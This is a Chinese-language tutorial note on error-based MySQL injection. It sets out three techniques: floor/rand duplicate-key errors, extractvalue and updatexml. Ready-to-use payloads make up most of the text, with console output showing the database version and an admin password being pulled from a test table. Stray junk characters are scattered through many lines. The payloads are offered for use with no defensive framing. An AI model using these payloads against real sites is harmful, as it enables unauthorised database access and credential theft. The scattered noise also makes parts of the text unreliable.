关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
实际测试环境：
​

mysql> show tables;
+----------------+
| Tables_in_test |
+----------------+
- x' w9 n; m# T, W0 ~: @5 x) T| admin          |
/ h) e8 m  l! ]- O| article        |
+----------------+
0 [2 c+ Z' x2 @' Y& ^9 ?! J
" G& t' Q, z9 H2 B" K; f

; q, [5 g! |! Pmysql> describe admin;
+-------+------------------+------+-----+---------+----------------+
; H6 c% k* u2 ]* ?1 |5 i! u6 c| Field | Type             | Null | Key | Default | Extra          |
7 q. L) q9 B' G5 h& d6 Q+-------+------------------+------+-----+---------+----------------+
4 Y' n$ |# d, h; y' y6 e) v| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
- P/ @, h; q5 Y# W6 T| user  | varchar(50)      | NO   |     | NULL    |                |
+ x- P$ M2 H6 s1 O| pass  | varchar(50)      | NO   |     | NULL    |                |
- A1 Y# f# @! ?0 v& P8 b+-------+------------------+------+-----+---------+----------------+
4 @, {6 Z" f+ b! v& `8 R7 e6 k
, A/ {$ X: ^3 c7 ?3 x
& ?" B: S7 s) x# y! a* R
, z; h, x8 r5 W( f, cmysql> describe article;
2 J# s& {+ B- g! u, q/ k  c0 ?+---------+------------------+------+-----+---------+----------------+
| Field   | Type             | Null | Key | Default | Extra          |
+---------+------------------+------+-----+---------+----------------+
/ M) q% L$ `+ H  }. j$ Z& @, w| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| title   | varchar(50)      | NO   |     | NULL    |                |
4 G' J7 V! G+ S4 B, v, n| content | varchar(50)      | NO   |     | NULL    |                |
+---------+------------------+------+-----+---------+----------------+
1、通过floor报错
可以通过如下一些利用代码
, e0 w9 q& T" O2 {  C8 a

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
% g% s% ], E5 J9 ~) }from information_schema.tables group by x)a);
3 g$ F6 F( j. M  R; m8 m' i. H

and (select count(*) from (select 1 union select null union select !1)x
group by concat((select table_name from information_schema.tables limit 1),
floor(rand(0)*2)));
" L9 i- F. N1 n( h: m7 v9 T& [举例如下：
首先进行正常查询：

mysql> select * from article where id = 1;
& O1 C  }4 q8 o+----+-------+---------+
| id | title | content |
8 N2 V1 K6 ~' w$ Q" b1 L+----+-------+---------+
|  1 | test  | do it   |
+ b+ P% \. {' U/ K' K8 z3 j1 k/ I+----+-------+---------+
8 v7 O$ Y/ h& Z  G. R( j假如id输入存在注入的话，可以通过如下语句进行报错。


mysql> select * from article where id = 1 and (select 1 from
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
' `8 q7 N. k4 C2 Q, e! AERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：
/ b+ d+ o3 F3 t2 I- s0 p% Y- z* ^Method1:

. U0 B+ H8 y) p, }) T" l8 T) b# }- z
0 ^. K  e9 g/ ~5 u: tmysql> select * from article where id = 1 and (select 1 from
% E/ S" v+ ]; D0 r9 m3 v(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
1 Z6 M8 _  V3 @% z" a- Jfrom information_schema.tables group by x)a);
/ w7 k( Z% e* @" O, B. E9 [ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
Method2:


4 x# a3 x1 b1 _7 cmysql> select * from article where id = 1 and (select count(*)
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
: Z6 G: o9 l6 g  L  {  }; u* X+ jfloor(rand(0)*2)));
1 [( C, s+ }: v7 i9 mERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
) G3 i' p, k: T  g& Y2 U: _8 ?2、ExtractValue
测试语句如下

1 P9 Q+ P" ~1 F. ~
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
实际测试过程
" x# m; Z4 ~7 `5 H* u0 n' ^5 q
  d* T7 B( w9 {5 Y; u- }) A! A* {
9 T5 G7 i! S$ U/ Smysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
(select pass from admin limit 1)));--
) d" a) F, B- q8 E, EERROR 1105 (HY000): XPATH syntax error: '\admin888'
' ~# t: E0 C. i" [; v3、UpdateXml
测试语句
, \2 N- t, {; I+ n

+ u4 T6 j, @2 }" Vand 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
实际测试过程

! Y- J1 C! h; e  F* y
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
; e4 l- C; Z. H/ Q+ ~(select pass from admin limit 1),0x5e24),1));
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
All, thanks foreign guys.
( g' w. m1 p1 M! w
! B, M8 E$ |4 k2 }6 b; ~  h5 v- `​
& Z+ ?1 _- p4 K& T